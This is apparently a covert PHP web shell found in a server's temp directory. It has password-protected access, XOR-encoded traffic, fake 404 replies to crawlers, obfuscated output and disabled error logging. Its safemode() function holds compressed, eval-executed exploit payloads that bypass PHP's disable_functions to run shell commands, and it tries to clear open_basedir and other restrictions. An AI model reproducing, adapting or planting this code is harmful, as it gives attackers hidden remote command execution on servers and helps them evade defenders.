Current File : //var/tmp/downloaded_file.php
<?php
$GLOBALS['HASHTYPE'] = 'sha512';
$GLOBALS['PASSHASH'] = 'dfbbeccfdcae9732e3d43697861efbe7bc56ffc746f07c3176a4594fc09977b747997d93cb65fb64ff093bc467e0ab35de3bc761efa29cb29a95c4df38375c26';//P@55w()rD
$GLOBALS['SECHEAD'] = 'USER_AGENT';
$GLOBALS['DEFAULT_TAB'] = 'tabFM';
$GLOBALS['COOKIE'] = true;
$GLOBALS['DARK'] = false;
$GLOBALS['REMOTE_ADDR'] = true;
$GLOBALS['ACECONF'] = array('DEFAULT' => true, 'THEME' => 'crimson_editor', 'MODE' => 'php', 'URL' => 'https://cdnjs.cloudflare.com/ajax/libs/ace/1.14.0/ace.js');
$GLOBALS['DEBUG'] = (isset($GLOBALS['DEBUG']) ? $GLOBALS['DEBUG'] : false);

filterClient();
decodeRequest();

function checkAuth(){
	if(!$GLOBALS['PASSHASH']) return setEncKey();

	$loginWithPass = (isset($_REQUEST['pass']) && hash($GLOBALS['HASHTYPE'], $_REQUEST['pass']) === $GLOBALS['PASSHASH']);
	$encKeyWithPass = ($GLOBALS['ENCKEY'] === genEncKey($GLOBALS['PASSHASH']));

	if($loginWithPass)
		setEncKey($GLOBALS['PASSHASH']);
	elseif($encKeyWithPass)
		setEncKey();
	else
		loginFormOut();
}

function getEncKey(){
	$len = $GLOBALS['PRELEN'];
	
	foreach($_REQUEST as $k => &$v){
		$pref = strrev(substr($k, 0, $len));#tabFM
		$post = substr($k, $len, $len);
		if($pref === $post){
			$eKey = $v;
			unset($_REQUEST[$k]);
			$GLOBALS['ENCKEY'] = base64_decode($eKey);
			return $GLOBALS['ENCKEY'];
		}
	}
	
	return false;
}

function genEncKey($str){
	return base64_encode(hash($GLOBALS['HASHTYPE'], ($GLOBALS['REMOTE_ADDR'] ? $_SERVER['REMOTE_ADDR'] : '').$str.__FILE__));
}

function setEncKey($pass = ''){
	if(!$pass && $GLOBALS['ENCKEY']) return $GLOBALS['ENCKEY'];
	$eKey = genEncKey($pass);
	$GLOBALS['ENCKEY'] = $eKey;
	return $eKey;
}

function mergeRequestVars(){
	$vars = array('_FILES','_COOKIE','_REQUEST');
	foreach($vars as $var)
		if(isset($GLOBALS[$var]))
			foreach($GLOBALS[$var] as $k => &$v)
				$_REQUEST[$k] = &$GLOBALS[$var][$k];
}

function decodeRequest(){
	mergeRequestVars();
	$GLOBALS['PRELEN'] = getPreLen();
	if(!$GLOBALS['ENCKEY'] = getEncKey()) $GLOBALS['ENCKEY'] = setEncKey();
	$_REQUEST = decodeInput($_REQUEST);
}

function getPreLen(){
	return (substr(array_sum(str_split(hash($GLOBALS['HASHTYPE'], __FILE__))), -1) + 5);
}

function filterClient(){
	$secretHeader = isset($_SERVER['HTTP_'.$GLOBALS['SECHEAD']]);
	$crawlerBot = preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT']);
	if($crawlerBot || !$secretHeader) exit(header('HTTP/1.1 404 Not Found'));
}

function loginFormOut(){
	$html = '<html><head><meta name="robots" content="noindex"></head><body style="background:#f0f0f0;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST" onsubmit="return login(this)"><input style="text-align: center" name="pass" type="password" value=""></form></body>'.paramsHandlerJS().'</html>';
	exit(makeOut($html));
}

function scriptInit(){
	if(!isset($GLOBALS['DEBUG'])) return;
	define('D', $GLOBALS['DEBUG']);
	set_time_limit(D ? 15 : 0);
	error_reporting(D ? E_ALL : 0);
	ini_set('display_errors', D ? 'On' : 'Off');
	ini_set('max_execution_time', D ? 15 : 0);
	ini_set('error_log', NULL);
	ini_set('log_errors', 0);
}

function decodeInput(&$arr){
	$str = '';
	foreach($arr as $k => $v){
		$key = getName($k);
		if(!strlen($key)) continue;
		$str .= $key.'='.urlencode(getValue($v)).'&';
		unset($arr[$k]);
	}
	parse_str($str, $dec);
	return array_merge($arr, $dec);
}

function xorStr($str, $decode = false) {
	$key = $GLOBALS['ENCKEY'];
    $key_len = strlen($key);
    $str = (!$decode ? rawurlencode($str) : $str);
    for($i = 0; $i < strlen($str); $i++)
        $str[$i] = $str[$i] ^ $key[$i % $key_len];
    $str = ($decode ? rawurldecode($str) : $str);
    return $str;
}

function ascii2hex($ascii) {
	$hex = '';
	for ($i = 0; $i < strlen($ascii); $i++) {
		$byte = strtoupper(dechex(ord($ascii[$i])));
		$byte = str_repeat('0', 2 - strlen($byte)).$byte;
		$hex.=$byte;
	}
	return $hex;
}

function hex2ascii($hex){
	$ascii='';
	$hex=str_replace(" ", "", $hex);
	for($i=0; $i<strlen($hex); $i=$i+2)
		$ascii.=chr(hexdec(substr($hex, $i, 2)));
	return($ascii);
}

function setName($str){
	$str = ascii2hex(xorStr($str));
	$pref = substr($GLOBALS['ENCKEY'], 0, $GLOBALS['PRELEN']);
	return $pref.$str;
}

function getName($str){
	$data = getData($str);
	if($data === false) return false;
	return xorStr(hex2ascii($data), true);
}

function setValue($str){
	return base64_encode(xorStr($str));
}

function getValue($str){
	return xorStr(base64_decode($str), true);
}

function getData($str){
	$ln = $GLOBALS['PRELEN'];
	$pref = substr($str, 0, $ln);
	$data = substr($str, $ln);
	return ($pref === substr($GLOBALS['ENCKEY'], 0, $ln) ? $data : false);
}

function paramsHandlerJS(){
	return '<script>
		var ENCKEY = atob("'.base64_encode($GLOBALS['ENCKEY']).'");
		var PRELEN = '.$GLOBALS['PRELEN'].';
		var COOKIE = '.(int)$GLOBALS['COOKIE'].';

		'.($GLOBALS['DARK'] ? 'invertColors();' : '').'
		startEventsListners();
		if(COOKIE){
			if(ci = document.getElementById("cbCO"))
				ci.checked = "on";
			deleteAllCookies();
		}

		function startEventsListners(){
			var elements = document.getElementsByTagName("*");
		
			for(var i=0;i<elements.length;i++){

				if(elements[i].type && elements[i].type == "file")
						elements[i].onchange = function(e){
							if(!elmById("cbRR").checked) prepareFile(this)
							else uplFiles();
						}
					
			}
		}
				
		function bin2hex(bin){
		  var hex = "";
		  for(var i = 0; i<bin.length; i++){
		    var c = bin.charCodeAt(i);
		    if (c>0xFF) c -= 0x350;
		    hex += (c.toString(16).length === 1 ? "0" : "") + c.toString(16);
		  }
		  return hex;
		}
		
		function login(form){
			addEncKey(form);
			form.pass.value = setValue(form.pass.value);
			form.pass.name = setName(form.pass.name);
			
			if(COOKIE)
				submitViaCookie(form);
			else
				return true;
				
			return false;
		}
		  
		function hex2bin(hex) {
		  var bin = "";
		  for (var i=0; i<hex.length; i=i+2) {
		    var c = parseInt(""+hex[i]+hex[i+1], 16);
		    if (c>0x7F) c += 0x350;
		    bin += String.fromCharCode(c);
		  }
		  return bin;
		}
			
		function xorStr(str, decode = false) {
			str = (!decode ? encodeURIComponent(str) : str);
			str = str.split("");
		    key = ENCKEY.split("");
		    var str_len = str.length;
		    var key_len = key.length;
		
		    var String_fromCharCode = String.fromCharCode;
		
		    for(var i = 0; i < str_len; i++) {
		        str[i] = String_fromCharCode(str[i].charCodeAt(0) ^ key[i % key_len].charCodeAt(0));
		    }
		    str = str.join("");
		    
		    if(decode){ 
				try{
					str = decodeURIComponent(str);
				}
				catch(e){
					str = unescape(str);
				}
			}

		    return str;
		}
		
		function setName(str){
			str = bin2hex(xorStr(str));
			pref = ENCKEY.substr(0, PRELEN);
			return pref + str;
		}
		
		function setValue(str){
			return btoa(xorStr(str));
		}
		
		function getValue(str){
			return xorStr(atob(str), true);
		}
		
		function addEncKey(form){
			var encKey = document.createElement("input");
			encKey.type = "hidden";
			pref = ENCKEY.substr(0, PRELEN);
			encKey.name = pref.split("").reverse().join("") + pref;
			encKey.value = btoa(ENCKEY);
			form.appendChild(encKey);
			return form;
		}
		
		function fixFileName(str, len = false){
			str = str.split(/(\\\\|\\/)/g).pop();
			if(len) str = str.substring(0, len);
			return str;
		}
		
		function getParentFormOf(element){
			
			while(element.tagName != "FORM")
				element = element.parentElement;

			return element;
		}
		
		function prepareFile(input){
			var file = input;
			form = getParentFormOf(input);
			form.enctype = "application/x-www-form-urlencoded";
			
			if(file.files.length){
				var reader = new FileReader();
				
				reader.onload = function(e){
						filename = fixFileName(input.value);
						wwwFile = document.createElement("input");
						wwwFile.type = "hidden";
						wwwFile.id = input.name;
						wwwFile.name = input.name + "["+filename+"]";
						wwwFile.value = e.target.result;
						if(e.target.result.length <= 2097152)
							form.appendChild(wwwFile);
						else
							if(confirm("Request size is ~" + Math.round(((e.target.result.length * 2) / 1024) / 1024) + "M, but limits is often around <= 8M. There is no guarantee that the file will be uploaded.\nYou can disable request encoding, use other upload methods or select a smaller file. Continue?"))
								form.appendChild(wwwFile);
							else
								return false;
							
						uplFiles();
						
						elements = form.getElementsByTagName("*");
						for(var i = 0; i < elements.length; i++)
							if(elements[i].type === "hidden")
								form.removeChild(elements[i]);
				};
				
				reader.readAsDataURL(file.files[0]);
				return reader;
			}
			
		}

		function deleteAllCookies() {	
			var cookies = document.cookie.split(";");
		
			for (var i = 0; i < cookies.length; i++) {
				var cookie = cookies[i];
				var eqPos = cookie.indexOf("=");
				var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
				document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
			}
			
			return false;
		}
	
		function submitViaCookie(encodedForm, refresh = true){
			var reqlen = 0;
			var elements = encodedForm.getElementsByTagName("*");
			
			for(i = 0; i < elements.length; i++) {
				
				if(!elements[i].name) continue;
				
				name = elements[i].name;
				value = encodeURIComponent(elements[i].value);

				if(value.length > 4095 || reqlen > 7696){
					if(confirm("The request header is too big, send it via POST?")){
						deleteAllCookies();
						return false;
					}
					else{
						deleteAllCookies();
						return "CANCEL";
					}
				}
				
				document.cookie =  name + "=" + value;
				reqlen = reqlen + name.length + value.length;
			}
			
			if(refresh)
				window.location = window.location.pathname;
			else
				return "SEND";
		}
		
		function invertColors() {
		    var css = "html{-webkit-filter: invert(90%); -moz-filter: invert(90%); -o-filter: invert(90%); -ms-filter: invert(90%);}";
		    var head = document.getElementsByTagName("head")[0];
		    var style = document.createElement("style");
		    if(!window.counter)
		        window.counter = 1;
		    else{
		        window.counter++;
		        if (window.counter % 2 == 0)
		            var css = "html{-webkit-filter: invert(0%); -moz-filter: invert(0%); -o-filter: invert(0%); -ms-filter: invert(0%);}"
		    }
		    style.type = "text/css";
		    
		    if(style.styleSheet)
		        style.styleSheet.cssText = css;
		    else
		        style.appendChild(document.createTextNode(css));
		        
		    head.appendChild(style);
		    
		    return false;
		}
</script>';
}

function makeOut($str){
	return (c('<script>').t(f('write', 1).'('.f('decodeURIComponent').'('.f('atob').'(('.i(base64_encode(rawurlencode(c($str, 1))), 100, 400).'))));', true).c('</script>'));
}

function f($f, $d = false){
	$r = rand(0,1);
	return ($r ? (rand(0,1) && !$d ? f('self') : ($r  && !$d ? f('top') : f('document'))).'['.i($f, 1, 3).']' : ($d ? f('document').'.'.$f : $f));
}

function i($s, $m, $x){
	$s = str_split($s, rand($m, $x));
	if($m > 50) $s[0] = trim(i($s[0], 1, 5, true), '"\'');
	return implode('+', array_map(function($k){$r = date('H') > 12; return ($r ? '"' : '\'').$k.($r ? '"' : '\'');}, $s));
}

function c($s = '', $n = 0){
	$r = array('/', '>', '*');
	return (rand($n, 1) ? '<!--'.str_replace($r, '', j(1)).'-->'.(strlen($s) ? $s.(rand(0, 1) ? '<!--'.str_replace($r, '', j(1)).'-->'."\n" : '') : '') : $s);
}

function j($a = 0){

	$l = rand(10, 100);
	while(!isset($c[$l])) @$c .= chr($a ? rand(32, 126) : rand(1, 127));
	
	if(rand(0, 1))
		return "//".str_replace(array("\r","\n"), "", $c)."\n";
	else
		return "/*".preg_replace("|\*/|","", $c)."*/";
}

function t($s, $n = false){
	if(!function_exists('token_get_all')) return $s;
	
	$s = ($n ? '<?php ' : '').$s;
	
	foreach(token_get_all($s) as $t)
		@$r .= (is_array($t) ? $t[1] : $t).j();
	
	return ($n ? substr($r, 6) : $r);
}

function sDie($str = ''){
	if(RO)
		die($str);
	else{
		$out = ob_get_contents();
		ob_end_clean();
	}
	
	if(preg_grep('|attachment|', headers_list())) print gzencode($out.$str, 9);
	else
		print setValue($out.$str);
	die;
}

function safemode($cmd = 'check'){
	
	if(!defined('PHP_VERSION_ID')) return false;
	$c = __FUNCTION__;
	$v = PHP_VERSION_ID;
	
	$pocs['cm_php_fpm'] = array('v' => ((strpos(php_sapi_name(), 'fpm') !== false) && is_int(array_search(true, array_map(function($f){if(function_exists($f)) return true;}, array('mail', 'error_log', 'imap_mail','mb_send_mail'))))), 'r' => 'execFPM($'.$c.')', 'c' =>'eJyNV21T20YQ/kxn+h8ORZmTMopkAyaEhFAGTPBMwK5x0ukkmRtZOmEVWdJIMoG2/Pfu7t35BZu2Mj7f7T63t7valyOZ5VGTFjmT9zI6H1w6djSN3b9+/mnLrmTNjlgSZrV8B2v4SxPHTsopUG9kg2CXkFt2PR2EzQToaZ4K4Dm8lnk8DdNMlMDgLgrYUtDJeZpJgDppLX5UaROOM+lwn7vsmAlx1hsKwQ5Z/VCjINHIaSnitIKjfB5wfxp3nCadSliTTHt6e56FNyAPOVq6T0YQP4GlKGeNiIq8kXlTG4zH+IvtYJzmQT3hvvUtt3z+gnFfC1QUlONz9gHpapuSGk2mRbyQ1HrT6SyZWE5KbaPRh/tA488ppPGg0ftjmLPjD8phJCwqYpTEcbElq6qoRCXLomrS/MZpqVO30O01uN1SgKy4sUCrp0wgCwLUhqv4iZPoKBDyPq1BJaueyCwTGBOW6xLKxMOC41hzr/jc0ocZidtpjWfiJh0kYHpRyTCaOGFVhQ+OheEBiqzobKXTsBSKY03HAsNILV0W1sxGRbU+m/RWfHMe6Ixrp+3BR+sHzxi0uDWrR/p95NoZeB5lAYS5x8azNIsHYXSrop3ehccW78vEhPuOwbO83+THmgzO4TVz3Eop4y6Fjc43jA+M/KcBa97XLM/S/NZZiUdD05oR8VFFUCWbWZUzZ7tuqrKo6Y3A8SrKMefo3EOV57jxEY8xjv3fLmDgc3SCXRIWDGmKGneg861v960WfNv6d+1L0bO83adS0qRhlv4pB2EVTrUwBcNHRdFijQ8fdn/93L0eicvu6KJ/xtkRpO7H7oh7T3DX3eGX7lAMhv1R/7T/SQEvRqNB0Pbba+iPJ6Pubye/i97VqDs8PzntKvzpx95GuBZ+dXKpgVkRhdmkqJs1KB4pLvrXo/8CDruX/VFXnJydDRW0vfPGb8Fnw/Gnw95gJM57n7pzFeYv7Al2cDEAmZe9K/Hl5NNnhf2jSHMHy5+30ce0L8yy4oeYVZlI8yibxfKI+yo4IKJ4P+cQUbyfJNz1NuyO0xqrvjBRVh8hdBOyKGUuxmEtoQU8CwpnTSFKqIpYLDB/VpSJwyY89LgPysociY4us/IuzByUvb8nYkkcqGiaoKEkxcXyBjmOdRntIqOweKx2ueVTTZsDdDCrq6CmRqPR7HXDXqfcXTXFXVrr6YasmGfV3r8xO6pYIFvnv0at5bcpVNTx7yBtMSIgeq97/SusIjZahnVJhQIP7sIqqGZ5AB4MsJaReRS36yxDeAanupx9J6vFAfbd19Z3KCv448PYpnFnEwnH3e9YToNXMHa4xzv+Lo17NCrKPoxv8Ou3aGzTuEPjLo2IPiDuAXEPiHtA3APgvgqUokXZLBRVJOhdeYGNHiZQYLFRc926TbfTHsTuhTOXzRlkONJh4jIS//U7CkOcz/HK4CPP56+hHfl1Ed3yuSKEXFSBw7etVmvtaNIYT4AJtc3FDe4XUFeGU4FSsdtkKTQbh7aAn9k2CA845k8TlYdBQAk9y9N7nLs+wjymzPeM9R5r68uCCTo4SnUtTTCXydUYXG26OlL1zXIiw1jFhz0u4oe5g6llJnCPqp9sI+aPCSSfs53IQtlrrgQ2tEm8TSUQ9mbjXuvtvrkpAVohjpj1rYIS6LKl28JcGUg1whH5UbXl9SO1xv5zxyVRVtRSgbVJJv+N/1DAmrs2NUY7jckFuF6EKJCw+pHTyANLMUlIDI1b+UAdAqrhTGqv0y5QHH3qWKdXlgevF8qng2jXc9rv3++2XfY3M2S1WV/JzW4EP6EQTt9OFmGh6xYZsaeVXr+KLKPs5qGUC/MsSxWw+eWjLqs0bxIHbx7tl9HiQ7cNKt9KBM3SmAVsp7MPAmH6kqZ0m9PWkT4Gskp8DvySHQDR1Ogl3dALCHm3SoPdeK+XYUM6g47OmkBX/1ewuaz/A3c4q58=');

	$pocs['mm0r1_filter'] = array('v' => ($v >= 70000 && $v <= 70234 || $v >= 70300 && $v <= 70333 || $v >= 70400 && $v <= 70425 || $v > 80000 && $v < 80013), 'r' => 'pwn($'.$c.')', 'c' =>  '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');
	
	$pocs['mm0r1_concat'] = array('v' => ($v == 80013 && $v == 80014 || $v > 80100 && $v < 80120), 'r' => 'new Pwn($'.$c.')', 'c' =>'eNqtV1tvo0YUfs+vmFrIgpqswE5tJw6pvE20SS/ZNJc+rGuhMQxrEgzWABtnt/7vPTNcPAwQZ6taijwx53zn/s3BCXAco0sSrAlF39A6XQS+gxSsI2UBf84EbQ8cLnPzHKJvBwg+ThTGCfrl8uH6N/t8ej+1764+XSALGZuhMalJ5A8/XVyf2+cX7x8+2O8frn4/Rz+jmATeyYmM0wOcvoFOmh+L+Hf3t1fXHwoDzWiHgGaO4cucHAiql/c7p01zPJEeNQAXGjXAPGVeGjqJH4XItjkOTZ1EVZyVq+VZYx8voqriM6sTBN+nyOSHXk8UYh/lM42i1WxemsdBEDlqdhbc0yZvV6sGJmhuy1N5UCAGByc2xGFj16UlIPzQXycQRbL048OzJcFrOyD4SdV0ZA4FUMXzg+AN7u8UMkS8cL4jaAXECwdrPvcqPZF1j2zOo4SoJYqIXATIJ8NCIXnOx2Qn43sqGAtIqO6c16Cq0CGDwUiuKSVJSkMx7c3GAAbsdQJCks6kTWQBIkXLqcoGbG1bZR3e5h4hrocdIuYgk7CXOHQDQmOWxEyVksCmBLuqUSmRE0RxSkmZcVkYBrdR3iGiNEhWkdjIm4aQ/B3CAse+Y7NIBe8+k8QWHqiCnYr5r75nxy9xQlZV3ew3VQSv6Hn4CbByzMjzeP5GxqR9jlnFx/zcs9C4Ns27PD1TP4GGq1noga7+aooUX2uc2TeBG5vBGAZUR0dii+d1ZzIxSSCcm8sb+4/prx9v7b8ubu+uPl4jy4J4gKtZ/MDJQPHjyfeZlqzoYlnas150WDnfPdQcFyPvdodYR+oN0EIWVHmytIy23wDbgpiGEGcdNhPIp35N/S84IbtrQ2BSoXsUTFkaZrO5jmbz+c4GWLAJpVE5vGrJBhpKY4LULtPVUVdZpF6tITNYU7o9QJJxL/AnJWuCE7Xz98YwOjrad4FUGJnSmTlH7/aQONygOXd2ppTil47Y3RlVcodez1pO3yz/YtbW+CWIsAvBrLHzpHb+/BGCMDYuzNWCEI+dHeyRBV4QKKPM/IX2u2oupi2J2EVSaGqNVPb/lJJ9FWb+Y1ULfSCE/UXsbDqvl6BkfyUbcNGrvI6NqwNMNuQ+19lvIieYkkS+4CBlxQuRRLjAzahKzkrYsmSVjsxyXE6zbHtyluAnN4G67O705EUre3Z2BsZlUm6PgiWJNVuT2w0cYxp5c2ZLp3hB5vYtVN0/ygVCqywpYO0HK7NXaHYtpJro9BSxh/A10DS+0woXSzGEXOH1ArVdqhUmyxldeL5z0o3k2ng2CRP6Iu8N0qzmoiFe1TaMHEBHQ0meJaRQsfhbizv8aXQ0GoyORwO5R8REyH5At4wl7K00kFzK4m80Qpug56UfkNJFXhxD25/iys4jk16GCe8dpM4LvIf4u45Rz4UcFlsS8sxMx6jbreXDD23MKFttysgRU9drOuwz6xvm2BgNYA2B07FxbPTZqW8YxwODn0z221xrKoKyitw0ILxutf1TsJ/voK+py5oycoM6y1MFIWuco1F/aA6PhmRosgZq8ntPA4G74wZ725auqjBMnOBEfPPMblol9r+SJhKGCyBepp4HXSJfa5lOtQNl9JK+4QAaa0awjUTGIiNxzAm4ujE/ssyHGc/AP2cZRT8eHjZ2LMM4Pa0QbOXZPxaKqMv9mYE7QN2P88YNuUh/rlhEuT34F11ikeU=');
	
	foreach($pocs as $pocname => $poc)
	{
		if(!$poc['v']) continue;
		
		switch($cmd){
			case 'check':
				return $pocname;
			break;
			default:
				ob_start();
				eval('$'.$c.' = \'(echo "via '.$pocname.':";'.addslashes($cmd).') 2>&1\';echo '.$poc['r'].';'.gzuncompress(base64_decode($poc['c'])));
				$res = ob_get_contents();
				ob_end_clean();
				
				if(strpos($res, $pocname)) return $res;
		}
	}
	
	return (isset($res) ? $c.' for '.$v.' fails ;( ' : false);
}

#
#
#

$ini = array(
	'disable_classes' => '',
	'disable_functions' => '',
	'display_errors' => 0,
	'enable_post_data_reading' => 1,
	'error_log' => '',
	'error_reporting' => 0,
	'file_uploads' => 1,
	'log_errors' => 0,
	'log_errors_max_len' => -1,
	'magic_quotes_gpc' => 0,
	'magic_quotes_runtime' => 0,
	'magic_quotes_sybase' => 0,
	'max_execution_time' => 0,
	'memory_limit' => '1024M',
	'open_basedir' => '',
	'safe_mode' => 0,
	'safe_mode_exec_dir' => '');

$sysini = ini_get_all();
	foreach($ini as $k => $v)
		if(isset($sysini[$k]) && $sysini[$k]['access'] == 7)
			ini_set($k, $v);
	
scriptInit();

function unQuote($a){
	foreach($a as $k => $v)
		if(is_array($v))
			$a[$k] = unQuote($v);
		else
			$a[$k] = stripslashes($v);
			return $a;
}
	
function prepVals(&$a,$k){
	foreach($a as $i => $v)
		if(is_array($v)) prepVals($a[$i],$k);
		elseif(strlen($v)>2){
			$r = '';
			$v = explode($k, $v);
			for($n = count($v)-1; $n>=0; --$n){
				$c = array_pop($v);
				if($c === '')
					$c = $k;
				if($n%2 === 0)
					$r .= $c;
				else
					$r = $c.$r;
			}
			$a[$i]=$r;
		}
}

if(defined('CED'))
	$D = unserialize(pack('H*', CED));
else{
	if(isset($_REQUEST['a']))
		$D=$_REQUEST;
	elseif(isset($_REQUEST['a']))
		$D=$_REQUEST;
	else
		$D=array();
		
	if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc())
		$D = unQuote($D);
	
	if(isset($D['k'])){
		$k = $D['k'];
		unset($D['k']);
		prepVals($D,$k);
	}
}

$C = array(''=>'UTF-8','UTF-16','Windows-1250','Windows-1251','Windows-1252','Windows-1254','Windows-1256','Windows-1257','ISO-8859-1','ISO-8859-2','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-13','Big5','GBK','Shift_JIS','EUC-KR','EUC-JP','IBM866','KOI8-R','KOI8-U',);

define('VER', '1.4');
define('DSC', DIRECTORY_SEPARATOR);
define('NIX', DSC === '/');
define('RO', isset($D['ro']) ? true : false);
define('TM', isset($D['tm']) ? true : false);
define('CSE', isset($D['c']) ? $C[$D['c']]:'UTF-8');

ob_end_clean();
if(!RO) ob_start();

if(!defined('CED')){
	if(isset($D['a'])){
		$md5 = md5(rand(0, 777777));
		if(isset($D['d'])){
			if($D['a']==='f'){
				if(is_array($D['d'])){
						$D['DBP'] = samePath($D['d']);
						$n = $md5.'.zip';
					}
					elseif(is_dir($D['d']))
						$n = $md5.'.zip';
					else
						$n = fileName($D['d']);
						$n = escFileName($n);
			}
			else
				$n = $md5.'.zip';
				
			header('Content-Type: application/octet-stream');
			header('Content-Disposition: attachment; filename="'.$n.(RO ? '' : '.gz').'"');
		}
		else{
			header('Content-Type: application/json; charset='.CSE);
		}
	}
	else
		header('Content-Type: text/html; charset='.CSE);		
}
					
function escHTML($v){
	return str_replace(array('&','"','<','>'), array('&amp;','&quot;','&lt;','&gt;'), $v);
}

function selfPath(){
	if(isset($_SERVER['SCRIPT_FILENAME'])) return filePath($_SERVER['SCRIPT_FILENAME']);
	if(isset($_SERVER['DOCUMENT_ROOT'])) return substr($_SERVER['DOCUMENT_ROOT'],-1) === DSC ? $_SERVER['DOCUMENT_ROOT'] : $_SERVER['DOCUMENT_ROOT'].DSC;
	if(PHP_VERSION >= '5.3') return substr(__DIR__,-1) === DSC ? __DIR__ : __DIR__.DSC;
	return filePath(__FILE__);
}

function filePath($p){
	$p = rtrim($p, DSC);
	return implode(DSC, array_slice(explode(DSC,$p), 0, -1)).DSC;
}

function fileName($p){
	$p=rtrim($p, DSC);
	$i=strrpos($p, DSC);
	return $i=== FALSE ? $p : substr($p,$i+1);
}

function writeFile($p,$c){
	if($v = fopen($p,'wb')){
		flock($v,LOCK_EX);
		fwrite($v,$c);
		fflush($v);
		flock($v,LOCK_UN);
		fclose($v);
		return TRUE;
	}

	if(PHP_VERSION>='5'){
		$v = file_put_contents($p,$c);
		if(is_int($v)) return TRUE;
	}

	if(PHP_VERSION>='5') : if(PHP_VERSION>='5.1'){
		try{
			$v = new SplFileObject($p,'wb');
		}
		catch(Exception $e ){
			$v=FALSE;
		}
	
		if($v){
			$v->flock(LOCK_EX);
			$v->fwrite($c);
			$v->fflush();
			$v->flock(LOCK_UN);
			unset($v);
			return TRUE;
		}
	}
	endif;
	
	return FALSE;
}

function tempName(){
	$a = 'poiuytrewqlkjhgfdsamnbvcxzMNBVCXZLKJHGFDSAPOIUYTREWQ0987654321';
	$v = '.';
	for($i = 0; $i < 8; ++$i) $v .= $a[rand(0,61)];
	return $v.'.tmp';
}

function tempFile($v){
	if(($n = tempnam(NIX ? '/tmp' : 'c:\\Temp', '')) && (writeFile($n, $v))) return $n;
	$a = array('upload_tmp_dir','session.save_path','user_dir','doc_root');
	
	foreach($a as $k)
		if($n = ini_get($k)){
			$n .= DSC.tempName();
			if(writeFile($n, $v)) return $n;
		}
		
		$n = selfPath().tempName();
		
		if(writeFile($n, $v)) return $n;
	
	return FALSE;
}

